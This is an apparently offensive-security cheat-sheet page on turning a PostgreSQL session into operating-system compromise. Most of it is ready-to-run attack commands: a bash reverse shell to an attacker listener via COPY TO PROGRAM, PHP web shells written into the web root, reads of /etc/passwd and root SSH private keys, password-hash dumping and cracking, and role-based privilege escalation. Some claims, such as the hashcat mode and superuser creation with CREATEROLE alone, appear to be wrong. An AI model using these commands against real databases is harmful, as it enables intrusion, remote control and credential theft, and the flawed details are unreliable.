Skip to content
HackIndex logo

HackIndex

PostgreSQL RCE and Exploitation

5 min read May 6, 2026

Before attempting any of the techniques below, confirm the privilege level of the current session. Most of the high-value paths require superuser or the pg_execute_server_program role. Run this first:

postgres=# SELECT rolname, rolsuper, rolcreaterole FROM pg_roles WHERE rolname = current_user;

rolsuper = t unlocks all techniques on this page. rolcreaterole = t without superuser opens a privilege escalation path covered at the end. Without either, the file read and COPY-based RCE techniques will fail with a permission error.

All examples assume an active psql session on the target. To connect from the attacker machine:

┌──(kali㉿kali)-[~]
└─$ PGPASSWORD=$PASSWORD psql -h $TARGET_IP -p ${PORT:-5432} -U $USER -d $DATABASE

COPY TO PROGRAM — OS Command Execution

COPY TO PROGRAM is the primary PostgreSQL RCE vector. It passes the output of a SELECT directly to a shell command. Requires superuser or the pg_execute_server_program role (available since PostgreSQL 11).

Reverse shell:

┌──(kali㉿kali)-[~]
└─$ COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"';

Set up the listener before executing:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

COPY FROM PROGRAM also executes commands and writes output into a table, which is useful if you need to capture command output rather than get a shell:

postgres=# CREATE TABLE cmd_output (line TEXT);
postgres=# COPY cmd_output FROM PROGRAM 'id';
postgres=# SELECT * FROM cmd_output;

To write a web shell instead of getting a reverse shell, use COPY TO with a file path. The postgres OS user must have write access to the target directory:

postgres=# COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

Notice

OPSEC: COPY TO PROGRAM spawns a subprocess under the postgres OS user. The command appears in the system process list and may be logged by the database if log_min_duration_statement or log_statements is configured.

pg_read_file — Arbitrary File Read

pg_read_file reads files from disk as the postgres OS user. Available since PostgreSQL 9.1, requires superuser.

postgres=# SELECT pg_read_file('/etc/passwd');
postgres=# SELECT pg_read_file('/root/.ssh/id_rsa');
postgres=# SELECT pg_read_file('/etc/postgresql/14/main/postgresql.conf');

The function returns the full file contents as text. Useful for reading SSH private keys, application config files with credentials, or the PostgreSQL config to understand the installation. If the postgres OS user does not have read permission on the file, the function returns an error rather than empty output.

Large Object File Write

Large objects provide an alternative write path that does not require COPY TO PROGRAM. The lo_import and lo_export functions move data between disk and the large object storage inside the database.

Import a file from disk into a large object:

postgres=# SELECT lo_import('/etc/passwd', 1337);

Export a large object back to disk at a different path:

postgres=# SELECT lo_export(1337, '/tmp/passwd_copy');

To write a web shell using this method, first insert the payload into a large object, then export it to the web root:

postgres=# INSERT INTO pg_largeobject (loid, pageno, data) VALUES (9001, 0, decode('3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e', 'hex'));
postgres=# SELECT lo_export(9001, '/var/www/html/shell.php');

The hex string above decodes to <?php system($_GET["cmd"]); ?>. Generate it for any payload with:

┌──(kali㉿kali)-[~]
└─$ echo -n '<?php system($_GET["cmd"]); ?>' | xxd -p | tr -d '\n'

lo_import and lo_export require superuser. Clean up the large object after use to reduce artifacts:

postgres=# SELECT lo_unlink(1337);

UDF RCE via Custom Extension — Linux

When COPY TO PROGRAM is unavailable or blocked, loading a custom shared library is an alternative RCE path. The approach: compile a .so with a function that executes a shell command, write it to disk using large object export, then register it with CREATE FUNCTION.

This technique is complex, noisy, and leaves multiple artifacts: a binary on disk, a new function in pg_proc, and potentially a new extension entry. It requires superuser and write access to a path PostgreSQL will load libraries from (typically /usr/lib/postgresql/<version>/lib/ or a path in dynamic_library_path).

Reference for the full approach including source and compilation steps:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md | PayloadsAllTheThings — PostgreSQL Injection | UDF RCE section with full source and steps

Prefer COPY TO PROGRAM over this method whenever possible.

Password Hash Extraction

Dump all user hashes from pg_shadow. Requires superuser — non-superuser accounts cannot read this view.

┌──(kali㉿kali)-[~]
└─$ SELECT usename, passwd FROM pg_shadow;
 usename  | passwd
----------+----------------------------------------------
 postgres | md53175bce1d3201d16594cebf9d7eb3f9d
 appuser  | md5be4d38f1f7a5b9c2e0a3d6e1c4b2a8f

PostgreSQL stores passwords as md5 followed by the MD5 hash of the password concatenated with the username. Crack with hashcat using mode 11100:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 11100 hashes.txt /usr/share/wordlists/rockyou.txt

Or with john:

┌──(kali㉿kali)-[~]
└─$ john --format=postgres hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

Format the hash for hashcat as $postgres$*username*hash_value if your version requires it. John handles the raw format from the query output directly.

Privilege Escalation via CREATEROLE

If the current account has rolcreaterole = t but is not a superuser, it can create a new superuser role and use it:

postgres=# CREATE ROLE pwned SUPERUSER LOGIN PASSWORD 'P@ssw0rd';

Then reconnect as the new superuser account and proceed with the techniques above.

Alternatively, if the current user can ALTER existing roles:

┌──(kali㉿kali)-[~]
└─$ ALTER ROLE $USER SUPERUSER;

This only works if the current user has rolcreaterole privilege and the target role is not already protected. In practice, CREATE ROLE with a fresh superuser account is more reliable and less likely to conflict.